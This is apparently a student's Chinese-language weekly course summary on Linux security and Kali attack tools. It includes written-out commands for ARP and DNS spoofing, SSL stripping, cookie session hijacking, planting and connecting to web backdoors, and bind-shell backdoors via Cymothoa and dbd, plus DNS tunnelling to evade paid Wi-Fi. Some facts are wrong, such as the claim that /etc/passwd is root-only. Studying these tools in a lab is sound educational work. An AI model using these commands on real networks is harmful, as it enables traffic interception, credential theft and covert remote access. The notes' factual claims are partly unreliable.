20159319 《网络攻防实践》第八周学习总结
教材学习第八章内容总结
Linux操作系统结构包括Linux内核,一些GNU运行库和工具,命令行shell,图形化界面X窗口系统及相应桌面环境,其操作系统内核属于一种典型的宏结构。
Linux内核使用了虚拟文件管理VFS机制。
Linux的一个基本特点是抽象了设备的处理,所有的硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备,块设备和网络设备。
Linux用户信息保存在系统的/etc/passwd文件中,只对Root可读。
为了能够给不同的应用软件,网络服务提供统一的身份认证机制,Linux系统中提供了PAM(可插入身份认证模块)。PAM支持的四种管理界面为:认证管理,账号管理,密码管理,会话管理。
在Linux中,每个用户的专属初始目录的默认权限为rwx------,即只有所有者用户具有浏览,删除,修改和进入的权限,执行mkdir命令所创建的目录,其默认权限为rwxr-xr-x.
支持攻击者进行自动化的远程口令猜测工具很多,比较流行的有:Brutus(最快,最灵活的远程口令猜测破解工具)。THC Hydra(非常快速的网络身份认证口令猜测工具),Cain and Abel(黑界骑兵)。
LAMP是目前最为流行的web网站构建解决方案。
Linux系统通过简单的配置“ip_forward=1”就能够以路由器模式运行,Linux内核中由net子系统的route.c来主要实现路由器的寻址与数据包的转发功能。
wireshark与tshark使用dumpcap来进行网络流量监听,在那些需要特权才能捕获网络流量的平台上,只需要dumpcap设置为运行在特权用户账户下,而wireshark与tshark则无需特权就可以运行。
Linux系统上的用户账户分为Root,普通用户与系统用户三大类。攻击者在得到本地受限用户访问权之后,最简单的特权提升途径就是能够破解出Root用户的口令,然后执行su或sudo命令进行提升。第二种特权提升途径是发掘并利用su或sudo程序中的安全漏洞。
Linux系统的主要审计日志集中地/var/log目录下,主要由系统核心进程,syslogd与各个网络服务提供事件审计功能。
最常见的Linux系统后门是提供远程命令行shell的访问,通常是使用netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到请求之后返回一个LInux系统shell与客户端进行交互。
kali视频学习
1.set
social engineering toolkit(SET)是一个开源,python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击向量库。是开源的社会工程学利用套件,通常结合metasploit来使用。
命令行下输入setoolkit打开SET套件。有11个模块
下面是第一个模块的使用,发送存在恶意软件的钓鱼邮件,但是没有成功。
还实现了一个克隆了一个网站
2.嗅探欺骗与中间人攻击
主要介绍进行ARP欺骗,DNS欺骗和嗅探以及会话劫持的方法。
先为kali设置开启端口转发
echo 1 >/proc/sys/net/ipv4/ip_forward
再设置ssltrip,为了劫持ssl数据,需要使https数据变为http:iptables -t nat -A PREROUTING -p tcp --destination -port 80 -j REDIRECT --to-port 8081
ettercap的准备
ettercap是一套用于中间人攻击的工具。和dsniff套件齐名,它的强大之处在于支持插件和过滤脚本,直接将账号,密码显示出来,不用人工提取数据。如果是第一次进行中间人攻击操作,那么要对kali下的ettercap做点配置。
配置文件是/etc/ettercap/etter.conf.首先要将ec_uid , ec_gid都变为0
再把# if you use iptables下的两个#号去掉
然后打开ettercap
Dsniff套装介绍
Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击的步骤如下:
进行arp欺骗
arpspoof[-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关)
进行嗅探:
dsinff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f service] [-t]
会话劫持
这里主要以cookies进行举例,说明会话劫持的用法
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.112
捕获数据包:
tcpdump -i wlan0 -w test.cap
等一段时间,估计目标会登录网站,开始处理捕获的数据包:
ferret -r test.cap
如果捕获的包没问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt
接下来运行hamster,选择目标和可能的登录认证地址,然后点击链接就可以了。
DNS欺骗
利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗
在开始欺骗前,我们首先要编辑一个自己的hosts文件。
hosts文件:127.0.0.1 www.baidu.com 再启动dnsspoof:dnsspoof -i wlan0 -f /root/hosts
URL监控
利用Dsniff套装中的urlsnarf工具,我们对tcp80,3128,8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式CLF,这种格式是许多web服务器所使用的。
usage:urlsnarf[-n] [-i|-p][[-v] pattern [expression]]
3.权限维持工具集
weevely(web后门工具):是一款使用python编写的webshell工具
在此主机上生成一个web后门,获得一个webshell
WeBaCoo(Web Backdoor Cookie) script-kit是一个小巧的,隐蔽的php后门,它提供了一个可以连接远程web服务器并执行php代码的终端。WeBacoo使用HTTP响应头传送命令结果,shell命令经base64编码隐藏在Cookie头中。
生成一个webshell
上传到网站后,使用webacoo连接
webacoo -t -u http://192.168.1.112/backdoor.php
Cymothoa(系统后门)
枚举/bin/bash进程pid
cymothoa -p 10500 -s 0 -y 2333
(注入2333端口),如果成功。可以连接2333端口返回一个shell.
Dbd:可以理解为加密版的nc
监听端:dbd -1 -p 2333 -e/bin/bash -k password
连接端: dbd 127.0.0.1 2333 -k password
Intersect:系统后门,功能比较强大
在目标机上执行shell.py -b, 则生成一个bind shell后门,如果之前设置好remote host 和remote port,也可以设置好reverse shell.
此时连接后门端口成功,返回shell.
3.kali下权限维持工具中Tunnel工具的使用
权限维持包含Tunnel工具集,web后门,系统后门三个子类。Tunnel工具集包含了一系列用于建立通信隧道,代理的工具。
CryptCat
Netcat有网络工具中的瑞士军刀之称,但是它本身建立的隧道是不加密的,所以就有了cryptcat,与dbd与sbd使用也类似。
DNS2TCP
DNS tunnel即DNS隧道。从名字上来看就是利用DNS查询过程建立起隧道,传输数据。
为什么使用DNS tunnel?
当你在酒店,机场等公共场所,通常有wifi信号,但是当你访问一个网站时,可能会弹出个窗口,让你输入用户名,密码,登录之后才可以继续上网(该技术一般为透明http代理。这时,如果没有账号,就没法上网。但是有时你会发现,你获取到的DNS地址是有效的,并且可以用以进行DNS查询,这时你便可以用DNS tunnel 技术来实现免费上网)。
DNS tunnel的原理
首先,要知道DNS系统的工作原理。你在做DNS查询的时候,如果查的域名在DNS服务器本机的cache中没有,它就会去互联网上查询,最终把结果返回给你,如果你在互联网上有台定制的服务器,只要依靠DNS的这层 约定,就可以交换数据包了。从DNS协议上看,你是在一次次的查询某个特定域名,并得到解析结果。但是实际上,你在和外部通信。你没有直接连到局域网外的机器,因为网关不会转发你的IP包出去,但局域网上的DNS服务器帮你做了中转。这就是DNS Tunnel了。
Miredo
Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道链接,可以转换不支持IPV6的网络工具IPV6,内核中需要有IPV6和TUN隧道支持。
Proxychains
内网渗透测试经常会用到的一款工具,如我们使用Meterpreter开设一个Socks4a代理服务,通过修改/etc/proxychains.conf配置文件,加入代理,即可使其他工具如sqlmap,namp直接使用代理扫描内网。
如:proxychains namp 10.0.0.1/24
Proxytunnel
Proxytunnel可通过标准的HTTPS代理来连接远程服务器,这是一个代理,实现了桥接的功能,特别用于通过SSH进行HTTP(S)传输。
Proxytunnel可用于:
使用HTTP(S)代理(HTTP CONNECT命令)创建通信通道
为OpenSSH写一个客户端驱动,并创建基于SSH连接的HTTP(S)代理
作为一个独立的应用,可以连接到远程服务器
Ptunnel
借助ICMP数据包建立隧道通信
Pwnat
内网下通过UDP通信
Socat
可以在不同协议上进行转发数据
sslh
一个ssl/ssh端口复用工具,sslh可以在同一个端口上接受HTTPS,SSH和Open VPN连接。这使得通过443端口连接SSH服务器或者openVPN 服务同时在该端口上提供HTTPS服务成为可能。sslh可以作为一个研究端口复用的例子。
4.kali逆向工程工具
kali下的逆向工程工具包括调试器,反编译工具与其他逆向工具集。
1.Edb-Debugger
EDB是一个基于Qt4开发的二进制调试工具,主要是为了跟ollyDbg工具看齐,通过插件体系可进行功能的扩充,目前只支持Linux。
ollydbg
经典的Ring3级调试器,是一个动态调试工具,将IDA与SoftICE结合起来的思想。在kali下是wine方式运行的ollydbg.
Jad是一个Java反编译工具。
Radare2
radare2 是一款开放源代码的逆向工程平台,它可以反汇编,调试,分析和操作二进制文件。
Apktool
APKTool是GOOGLE提供的APK编译工具。能够反编译及回编译apk,同时安装反编译系统apk所需要的framework-res框架。
Clang,Clang++
Clang是一个C语言,C++,Objective C,Objective C++语言的轻量级编译器。
D2j-dex2jar
反编译dex文件到jar文件,进而可以用其他工具查看源代码。
Flasm
flasm主要功能是用于直接修改swf文件里的脚本actionscript.
swf转fla文件的软件不能确保100%还原,如果只是修改as脚本代码,flasm是最佳的选择,因为他只是修改脚本,资源数据不做修改。目前flasm支持破解flash8和低于flash8格式的swf文件。
Javasnoop
这是一个java应用程序安全测试工具,它允许你以拦截的方法,篡改数据和hack运行在你计算机上的java应用程序。